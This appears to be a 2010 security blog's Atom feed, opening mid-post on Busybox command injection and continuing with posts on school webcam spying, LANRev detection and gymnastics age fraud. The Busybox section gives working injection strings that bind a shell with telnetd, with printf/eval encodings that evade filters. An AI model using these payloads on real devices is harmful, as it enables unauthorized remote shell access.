shell to port 9999 without a path value and without running as root. Of course, now things get difficult.&lt;/p&gt;&lt;h3&gt;Restrictions&lt;/h3&gt;&lt;p&gt;Sample exploit conditions are always easy to land and never have anything annoying in the way like character filters or buffer lengths. The real world is different; exploitation often requires circumventing limitations. As far as length goes, the commands above pretty much cover the shortest possible exploit strings. Character set limitations are a different story. Embedded device character set limitations can be pretty heavy duty, enforced by on-screen-keyboards, security character filters, and other methods. A common limitation is space-bounded copy, generated by a tokenizer which clips a supplied argument to everything up to the first instance of whitespace. Here are some ways to work around these limitations:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;~ $ echo -e \\x7c\\x7c\\x2e&lt;br /&gt;||.&lt;br /&gt;~ $ printf \\x7c\\x2e\\x0a&lt;br /&gt;|.&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Busybox supports evaluation of slash-escaped characters both using echo and the shell builtin printf. This can be used to encode a lot of the characters that are often stripped. Different execution methods require different levels of escaping. Here are some combinations that work; note that I have included the command "true" to show where a successful system command would lie in the overall exploit.&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;true|/bin/busybox telnetd -l/bin/sh -p9999&lt;br /&gt;# Character set required: -/&lt;br /&gt;&lt;br /&gt;true|eval $(printf telnetd\\x20\\x2dl\\x2fbin\\x2fsh\\x20\\x2dp9999)&lt;br /&gt;# Character set required: $()\ &lt;br /&gt;&lt;br /&gt;true|eval `printf telnetd\\\\x20\\\\x2dl\\\\x2fbin\\\\x2fsh\\\\x20\\\\x2dp9999`&lt;br /&gt;# Character set required: `\&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;If you're attempting to jailbreak a potential busybox device, and you're fuzzing a net-facing service, the strings above coupled with a good [&amp;&amp; / || / | / ; / $() / ``] regular expression should get you started; just monitor port 9999. If you manage to land on a device with the methods I've listed here, drop me a line and let me know how it went down. If you're determined to drop a binary on the device a few bytes at a time, this should get you started:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;eval echo -n $(echo -e -n \\xde\\xad\\xbe\\xef $(printf \\x3e\\x3e\\x2ftmp\\x2fig))&lt;br /&gt;&lt;/pre&gt;&lt;h3&gt;Notes on Other Exploit Methods&lt;/h3&gt;&lt;p&gt;There are plenty of ways to get onto a Unix-based system like busybox other than binding a shell, however often embedded devices have unique restrictions. Concatenating a user you control to /etc/passwd can silently fail on a readonly filesystem, a very common occurrence on embedded devices. Concatenating binaries from the shell requires precise knowledge of the architecture target type. And when you're jailbreaking, failure is almost universally silent. Good luck,&lt;/p&gt;&lt;br /&gt; -stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-1973680384733243104?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/04L0pO4k8I7KTTRdM3qC7QKYTh4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/04L0pO4k8I7KTTRdM3qC7QKYTh4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/04L0pO4k8I7KTTRdM3qC7QKYTh4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/04L0pO4k8I7KTTRdM3qC7QKYTh4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/pr9CAMuoS0M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/1973680384733243104/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=1973680384733243104" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1973680384733243104?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1973680384733243104?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/pr9CAMuoS0M/busybox-command-injection.html" title="Busybox Command Injection" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/03/busybox-command-injection.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4ARXg-fip7ImA9WxBUFko.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-4481943934355352525</id><published>2010-03-03T16:02:00.001-08:00</published><updated>2010-03-03T20:29:04.656-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-03T20:29:04.656-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="webcams spyware warrants henrico" /><title>Schools Systems Weigh Benefits of Child Porn Roulette</title><content type="html">&lt;h3&gt;To Catch a Thief (Naked?)&lt;/h3&gt;&lt;p&gt;&lt;script type='text/javascript'&gt;&lt;br /&gt;digg_url = '&lt;data:post.url/&gt;';&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script src='http://digg.com/tools/diggthis.js' type='text/javascript'/&gt;&lt;/script&gt; The story of remotely activated webcams in school laptop programs appears to be a nationwide phenomenon. The media outcry over Harriton High appears to have completely missed the fact that an even larger 1:1 educational laptop program has been using webcams for theft tracking for years as well. This &lt;a href="http://www.philly.com/philly/education/20100225_Many_schools_won_t_issue_Web-cam_laptops.html"&gt;great survey reporting&lt;/a&gt; from Philly.com shows a wide ranging reaction from school officials regarding remote laptop activation, from those that get it, to those who don't, those that are quietly deleting their webcam access, and those who... wait, huh, what?&lt;/p&gt;&lt;i&gt;"I didn't even know a computer has the ability to do that"&lt;/i&gt;&lt;br /&gt;- Dan Domenech, Executive Director of the American Association of School Administrators&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"We had discussed it, but decided not to touch it with a 10-foot pole. ... What if it accidentally started taking pictures? ... You could have an 11-year-old child who steps out of the shower and is toweling off. &lt;b&gt;You could have child pornography.&lt;/b&gt; ... Everything is about risk - the risk of losing a device vs. the disaster that can occur ... &lt;b&gt;I would rather lose a computer than hurt a child&lt;/b&gt;."&lt;/i&gt;&lt;br /&gt;- Jeff Mao, Maine Department of Education&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"the McCracken County, Ky., school district began removing tracking software from laptop computers assigned to high school students. Technicians are deleting software that allows access to Web cams and monitors usage on 2,170 laptops"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"In the Henrico County, Va., public schools, which also have a large laptop program, the remotely operated Web cams are &lt;b&gt;disengaged until a computer is stolen. About 26,000 laptops have been issued to students&lt;/b&gt;"&lt;/i&gt;&lt;br /&gt;&lt;p&gt;You read that right. Harriton is just the tip of the iceberg. Henrico County has been activating their laptop webcams too, and by their admitted numbers, &lt;a href="http://www2.timesdispatch.com/rtd/news/local/education/article/COMP25_20100224-212806/326709/"&gt;more often than Harriton High&lt;/a&gt;:&lt;/p&gt;&lt;i&gt;"Henrico schools spokesman Mychael Dickerson said yesterday that the system has remotely activated cameras 50 times in the past three years to locate computers stolen from elementary schools. Those computers do not go home with students. Of those, 20 have been recovered. The other cases still are under investigation, he said."&lt;/i&gt;&lt;br /&gt;&lt;p&gt;Putting aside the amazingly low success ratio apparently quoted above, this means that yet another school district is opting to take pictures of "We'll Find Out What" when laptops go missing. Or as Jeff Mao so eloquently alludes to, they're playing Child Porn Roulette and betting to win in order to find laptops. Unfortunately the ACLU has waded into the fray, armed with all kinds of crazy ideas like "search warrants" and "wiretaps", acting like a total buzzkill and basically &lt;a href="http://www.nbc12.com/Global/story.asp?S=12046144"&gt;spewing common sense everywhere&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"In May of 2009, NBC12 reported the theft of several laptops from Pinchbeck Elementary School. School officials used the police report number -not a warrant- to activate a camera which clearly revealed the suspect, who was arrested a week later, and eventually pled guilty. Now, the ACLU claims that could be an illegal invasion of one's privacy...even that, of a thief."&lt;/i&gt;&lt;br /&gt;&lt;p&gt;My personal favorite part of this article is the reporter's shocked tone at the idea that accused criminals have rights. But it's important to note that a warrant was never issued for this search. And that brings me to a really important question regarding search warrants, and their eventual use in programs like this. How does one fill out a webcam search warrant?&lt;/p&gt;&lt;h3&gt;We're Going to Search... Something!&lt;/h3&gt;&lt;p&gt;If you take a look &lt;a href="http://www.planebuzz.com/search-warrant-page1.gif"&gt;at the top of the form&lt;/a&gt;, you'll see "Name, Address ... premises to be searched". This has always been a part of search warrant forms. With the way webcam theft tracking works, we'll need a new type of search warrant: Location To Be Determined After Search. When these laptops wake up and retrieve orders to activate their webcams, they can literally be anywhere. They can be in a child's bedroom, in a foreign embassy, in a conference room in the hands of someone who inadvertently purchased a hot laptop off Ebay, in a &lt;a href="http://en.wikipedia.org/wiki/Sensitive_Compartmented_Information_Facility"&gt;SCIF&lt;/a&gt;, or anywhere else in the world. And so, we will need to be able to write search warrants that are valid anywhere on the planet. Or, just maybe, that's impossible, and the process of having to get a search warrant in the first place will reveal how truly ludicrous this entire scheme really is. For now, that quiet whirring sound is the sound of administrators across the country deleting their webcam folder.&lt;/p&gt;&lt;br /&gt; -stryde.hax&lt;br /&gt;&lt;script type='text/javascript'&gt;&lt;br /&gt;digg_url = '&lt;data:post.url/&gt;';&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script src='http://digg.com/tools/diggthis.js' type='text/javascript'/&gt;&lt;/script&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;PostScript: &lt;a href="http://www.philly.com/inquirer/columnists/20100228_Monica_Yant_Kinney__Another_pin_in_the_privacy_balloon.html"&gt;&lt;i&gt;"For this school district to develop police powers in secret and then exercise those powers in secret is problematic and disturbing"&lt;/i&gt;&lt;/a&gt;&lt;br /&gt;  -Lillie Coney, EPIC&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-4481943934355352525?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EmfJbo-VfB3JGAAXdm8laUyH5eA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EmfJbo-VfB3JGAAXdm8laUyH5eA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EmfJbo-VfB3JGAAXdm8laUyH5eA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EmfJbo-VfB3JGAAXdm8laUyH5eA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/2vJQSWLP5GU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/4481943934355352525/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=4481943934355352525" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/4481943934355352525?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/4481943934355352525?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/2vJQSWLP5GU/schools-systems-weigh-benefits-of-child.html" title="Schools Systems Weigh Benefits of Child Porn Roulette" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/03/schools-systems-weigh-benefits-of-child.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak4NQXs7fip7ImA9WxBUE08.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-919953832086901340</id><published>2010-02-27T18:57:00.000-08:00</published><updated>2010-02-27T19:49:50.506-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-27T19:49:50.506-08:00</app:edited><title>FIG Revokes Chinese Gymnastics Medal</title><content type="html">&lt;h3&gt;I Did My Best&lt;/h3&gt;&lt;p&gt;When I meet people in computer security circles or at conferences and I'm identified as Stryde, the Olympic story comes up pretty often, and the comment I seem to get the most is "how did you let them get away with it?" I've never understood this sentiment, the idea that I somehow have more power than a Publish button on Blogger, and I often counter with "Well I was going to launch an airstrike but I reconsidered." Little did I know, the president of the International Gymnastics Federation (&lt;a href="http://www.fig-gymnastics.com/"&gt;FIG&lt;/a&gt;), Bruno Grandi, has been using the same joke.&lt;/p&gt;From &lt;a href="http://www.intlgymnast.com/index.php?option=com_content&amp;view=article&amp;id=782:grandi-chinese-olympic-gymnasts-robots&amp;catid=2:news&amp;Itemid=166"&gt;This interview&lt;/a&gt;:&lt;br /&gt;"Grandi said it was conceivable that China had cheated in Beijing"&lt;br /&gt;&lt;i&gt;"There was strong circumstantial evidence, certainly, but these investigations are not my job ... I'm not the police or Interpol. If I find that there was cheating, then I can act." ... "I had everything sent to the IOC and the IOC has carried out its investigations and the figures were the same ... The IOC gave us its findings, and we checked them and there was nothing. When people on the Internet find fake documents, you need to legally prove that these are fake, and that's not my job. &lt;b&gt;I have to respect the documents that the Chinese government gives me.&lt;/b&gt; What else should I do - declare war on China?"&lt;/i&gt;&lt;br /&gt;&lt;p&gt;Putting aside for a moment the "fake documents" phrase, and assuming for a moment that Grandi does not understand that the documents I linked to were hosted by the Chinese government itself, verifiably, &lt;i&gt;for years&lt;/i&gt;, the most important part of that interview is the last phrase. Grandi's process, and the IOC's process, requires them to trust documents that are provided to them by governments. This is a great process for finding athletes that are cheating, and a totally failed process for finding governments that are cheating. What justice system would make the defendant an authority on his own guilt? Only the IOC and the FIG.&lt;/p&gt;&lt;p&gt;As Grandi says, a fact-finding authority with the power to prosecute a government for fraud was never involved. The servers from which &lt;a href="http://strydehax.blogspot.com/2008/08/ready-set-censor.html"&gt;the world watched the Chinese government censor the truth in real time&lt;/a&gt; were never seized and forensically analyzed. No one was ever caught or prosecuted for deleting any of the primary documents off of Chinese government web servers as age records vanished one by one under our watching eyes. And the reason for this is that the FIG by their own admission are not empowered to question governments. So when we say that the Chinese gymnasts were cleared by the FIG, we need to be very clear about what that actually means: not much.&lt;/p&gt;&lt;h3&gt;A Confession Is Not Enough&lt;/h3&gt;&lt;p&gt;About a week after the translated Yang Yun video created by myself and &lt;a href="http://www.heathershow.com"&gt;Heather Lawver&lt;/a&gt; was posted, the FIG &lt;a href="http://cgi2.sikids.com/2008/olympics/gymnastics/wires/10/07/2090.ap.oly.gym.underage.chinese/index.html"&gt;re-opened their investigation into Chinese gymnasts&lt;/a&gt; competing in the Sydney Olympics. Yesterday, as an alert reader pointed out, the FIG &lt;a href="http://news.yahoo.com/s/ap/20100227/ap_on_sp_ot/gym_underage_gymnasts_5"&gt;revoked the Bronze medal&lt;/a&gt; awarded to Dong Fangxiao in Sydney, due to paper evidence they managed to find of her employment under her real age. The Chinese government &lt;a href="http://news.xinhuanet.com/english2010/sports/2010-02/27/c_13190869.htm"&gt;immediately responded&lt;/a&gt;, claiming "there is no problem in Dong Fangxiao's age."  What's interesting is that the FIG did not revoke the medal of Yang Yun, who is seen here &lt;a href="http://strydehax.blogspot.com/2008/09/yang-yun-speaks-out.html"&gt;confessing on state television&lt;/a&gt; to competing under age. It is important to note that for the FIG, a videotaped confession was not sufficient evidence. So, to summarize:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;The FIG is by their own admission not authorized to investigate governments for fraud&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;The documents I identified implicate the government as having committed fraud&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;The removal of every single linked document from government web servers indicates fraud&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;A videotaped confession is considered insufficient proof&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;Despite all these limitations, the Chinese have still lost a medal for age falsification&lt;/LI&gt;&lt;/UL&gt;&lt;p&gt;Readers are welcome to examine my archives and what evidence is left and make their own conclusions. I haven't written about this since it happened because I felt it became a sports story and not a technology story, and the technology story I was interested in was becoming lost in the noise. I wanted to talk about document permanence, transparency, and the amazing impact both were having on our culture. Fox News just wanted me to say that someone was cheating. In the end, as the FIG prepares to take a medal back, I will say only this: I stand by the integrity of my findings.&lt;/p&gt;&lt;br /&gt; - stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-919953832086901340?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/khSCpD-js8s-puxADNNPvmgnmPA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/khSCpD-js8s-puxADNNPvmgnmPA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/khSCpD-js8s-puxADNNPvmgnmPA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/khSCpD-js8s-puxADNNPvmgnmPA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/sBMwxVy844Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/919953832086901340/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=919953832086901340" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/919953832086901340?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/919953832086901340?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/sBMwxVy844Q/fig-revokes-chinese-gymnastics-medal.html" title="FIG Revokes Chinese Gymnastics Medal" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/02/fig-revokes-chinese-gymnastics-medal.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkADQHg8cSp7ImA9WxBUE0o.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-577167282952398371</id><published>2010-02-22T17:20:00.000-08:00</published><updated>2010-02-28T07:26:11.679-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-28T07:26:11.679-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="LANRev Agent" /><title>Network Fingerprint for LANRev Agent</title><content type="html">&lt;p&gt;Analysis of the LANRev software &lt;a href="http://strydehax.blogspot.com/2010/02/spy-at-harrington-high.html"&gt;used to spy at Harriton High&lt;/a&gt; continues; for now, I wanted to give everyone a way to detect if a machine has the software installed  this &lt;i&gt;won't&lt;/i&gt; tell if its webcam features are active. You'll need a Unix command line with the "netcat" utility installed. Then, paste in the command below, but use the IP address of the computer you'd like to check instead of the one in the example (10.0.7.22).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;/bin/echo -e "\\x01\\x00\\x03\\x00\\x00\\x00\\x00\\x00&lt;br /&gt;\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff&lt;br /&gt;\\xff\\xff\\xff" | nc -v -v -v  10.0.7.22 3970&lt;br /&gt;&lt;br /&gt;strydes-Mac-mini.local [10.0.1.111] 3970 (?) open&lt;br /&gt;00000000  01 00 00 03 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;00000010  00 00 01&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Above, you can see the 19 bytes you will receive in response if the computer in question is has LANRev. Additional bytes will follow, up to 272 total bytes, but those are subject to encryption so I cannot predict them. The above fingerprint is enough. I've submitted a fingerprint to the &lt;a href="http://www.insecure.org"&gt;Nmap&lt;/a&gt; fingerprint database, but until that goes through, the above should suffice. Good luck!&lt;br /&gt; -stryde.hax&lt;br /&gt;&lt;br /&gt;&lt;b&gt;update 2/28/2010 10:15am&lt;/b&gt;&lt;p&gt;Is it spyware? Well, [&lt;a href="http://sunbeltblog.blogspot.com/2010/02/fbi-will-investigate-pa-school-district.html"&gt;Sunbelt AntiVirus&lt;/a&gt;] [&lt;a href="http://www.philly.com/inquirer/columnists/20100224_Karen_Heller__L__Merion_paying_a_price_for_free_laptops.html"&gt;Philly.com&lt;/a&gt;] [&lt;a href="http://blog.nj.com/njv_editorial_page/2010/02/lower_merion_school_district_l.html"&gt;New Jersey Star-Ledger&lt;/a&gt;] [&lt;a href="http://www.chieftain.com/articles/2010/02/23/news/local/doc4b836fb521dc6208349527.txt"&gt;Pueblo Chieftan&lt;/a&gt;] [&lt;a href="http://www.boingboing.net/2010/02/23/aclu-and-eff-on-scho.html"&gt;Cory Doctorow&lt;/a&gt;] [&lt;a href="http://www.istockanalyst.com/article/viewarticle/articleid/3893285"&gt;Karl Denninger&lt;/a&gt;] [&lt;a href="http://indyposted.com/11682/fbi-lower-merion-webcam-spying/"&gt;Mark Kosur&lt;/a&gt;].&lt;/p&gt;&lt;br /&gt;&lt;b&gt;update&lt;/b&gt;&lt;p&gt;LANRev says they're removing the webcam functionality, so in response, I've made some edits to this post. I want to be make sure folks know that this test doesn't verify webcam activation functionality.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-577167282952398371?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6264FtQeo3U0sMQ-dDfbFxj98M8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6264FtQeo3U0sMQ-dDfbFxj98M8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6264FtQeo3U0sMQ-dDfbFxj98M8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6264FtQeo3U0sMQ-dDfbFxj98M8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/uSVhHkkBHLE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/577167282952398371/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=577167282952398371" title="17 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/577167282952398371?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/577167282952398371?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/uSVhHkkBHLE/network-fingerprint-for-lanrev-trojan.html" title="Network Fingerprint for LANRev Agent" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>17</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/02/network-fingerprint-for-lanrev-trojan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0AGQnkycSp7ImA9WxBUFks.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-3314798926411297694</id><published>2010-02-21T14:21:00.001-08:00</published><updated>2010-03-03T17:22:03.799-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-03T17:22:03.799-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="spyware highschool apple" /><title>The Spy at Harriton High</title><content type="html">&lt;script type='text/javascript'&gt;
&lt;br /&gt;digg_url = '&lt;data:post.url/&gt;';
&lt;br /&gt;&lt;/script&gt;
&lt;br /&gt;&lt;script src='http://digg.com/tools/diggthis.js' type='text/javascript'/&gt;&lt;/script&gt; This investigation into the remote spying allegedly being conducted against students at &lt;a href="http://www.lmsd.org"&gt;Lower Merion&lt;/a&gt; represents an attempt to find proof of spying and a look into the toolchain used to accomplish spying. Taking a look at the &lt;a href="http://www.lmsd.org/sections/about/depart/tech/default.php?t=departments&amp;p=depart_tech_techstaff"&gt;LMSD Staff List&lt;/a&gt;, Mike Perbix is listed as a Network Tech at LMSD. Mr. Perbix has a large online web forum footprint as well as a personal blog, and a lot of his posts, attributed to his role at Lower Merion, provide insight into the tools, methods, and capabilities deployed against students at LMSD. Of the three network techs employed at LMSD, Mr. Perbix appears to have been the mastermind behind a massive, highly effective digital panopticon.&lt;br&gt;&lt;h3&gt;PanoMasterMind&lt;/h3&gt;&lt;p&gt;The primary piece of evidence, already being reported on by a Fox affiliate, is &lt;a href="http://webcast.macenterprise.org/2008Webcasts/2008-05-20-LANrev-Webcast.zip"&gt;this amazing promotional webcast&lt;/a&gt; for a remote monitoring product named LANRev. In it, Mike Perbix identifies himself as a high school network tech, and then speaks at length about using the track-and-monitor features of LanRev to take surreptitious remote pictures through a high school laptop webcam. A note of particular pride is evident in his voice when he talks about finding a way outside of LANRev to enable "curtain mode", a special remote administration mode that makes remote control of a laptop invisible to the victim. Listen at 35:47, when he says:&lt;/p&gt;
&lt;br /&gt;&lt;i&gt;"you're controlling someone's machine, you don't want them to know what you're doing"&lt;/i&gt;
&lt;br /&gt; -Mike Perbix
&lt;br /&gt;&lt;p&gt;It isn't until 37 minutes into the video till Perbix begins talking about the Theft Tracking feature, which causes the laptop to go into a mode where it beacons its location and silent webcam screenshots out to an Internet server controlled by the school.&lt;/p&gt;
&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=hHu92imqJec"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 301px;" src="http://2.bp.blogspot.com/_bkUaeM7papk/S4HmPjcYy8I/AAAAAAAAADY/GT42wWsrEtk/s400/Screen+shot+2010-02-21+at+9.03.44+PM.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5440882979727002562" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;center&gt;&lt;i&gt;Click to watch an excerpt of Mike Perbix's spycast&lt;/i&gt;&lt;/center&gt;
&lt;br /&gt;&lt;p&gt;The beacon feature appears to have been one of the primary methods for remote spying, however, network footprints abound over the details and architecture of the remote administration effort. In &lt;a href="http://lists.apple.com/archives/client-management/2009/Oct/msg00072.html"&gt;this post&lt;/a&gt;, Perbix discusses methods for remotely resetting the firmware lockout used to prevent jailbreaking of student laptops. A jailbreak would have allowed students to monitor their own webcam to determine if administrators were truly taking pictures or if, as the school administration claimed, the blinking webcams were just "a glitch."
&lt;br /&gt;
&lt;br /&gt;Perbix also maintains a prolific blog, where in &lt;a href="http://bestsinceslicedbread.blogspot.com/2009_11_01_archive.html"&gt;this blog post&lt;/a&gt; he describes using the remote monitoring feature to locate a stolen laptop:&lt;/p&gt;
&lt;br /&gt;&lt;i&gt;"As a prime example, we initially attempted to recover a stolen laptop that reported back to us it's internet address and DNS name.  The police went to the house and were befuddled to find out the people we knew had the laptop was not the family that lived there...well, we eventually found out that they were the neighboring house and were borrowing the unsecured WI-FI."&lt;/i&gt;
&lt;br /&gt;&lt;p&gt;In a September 2009 post that may come to haunt this investigation, Perbix posted &lt;a href="http://bestsinceslicedbread.blogspot.com/2009/09/turning-built-in-isight-on-and-off.html"&gt;a scripting method for remote enable/disable of the iSight camera in the laptops&lt;/a&gt;. This post makes a lot more sense when Perbix &lt;a href="http://groups.google.com/group/macenterprise/browse_thread/thread/98dd9da15da4189f/d461836b9996c4d8?lnk=gst&amp;q=perbix+isight#d461836b9996c4d8"&gt;puts it in context on an admin newsgroup&lt;/a&gt;, in a post which makes it clear that his script allows for the camera to appear shut down to user applications such as Photo Booth but still function via remote administration:&lt;/p&gt;
&lt;br /&gt;&lt;i&gt;"what this does is prevent internal use of the iSight, but some utilities might still work (for instance an external application using it for Theft tracking"&lt;/i&gt;
&lt;br /&gt;&lt;p&gt;What's the purpose of shutting down a camera for the user of the laptop but still making it available to network administrators? Ask yourself: if you wanted to convince someone that a webcam blinking was a glitch, would disabling the cameras help make your case?&lt;/p&gt;&lt;h3&gt;We Found the Glitch, Mrs. Buttle&lt;/h3&gt;&lt;p&gt;The truly amazing part of this story is what's coming out from comments from the students themselves. Some of the interesting points:
&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;Possession of a monitored Macbook was required for classes&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;Possession of an unmonitored personal computer was forbidden and would be confiscated&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;Disabling the camera was impossible&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;Jailbreaking a school laptop in order to secure it or monitor it against intrusion was an offense which merited expulsion&lt;/LI&gt;&lt;/UL&gt;
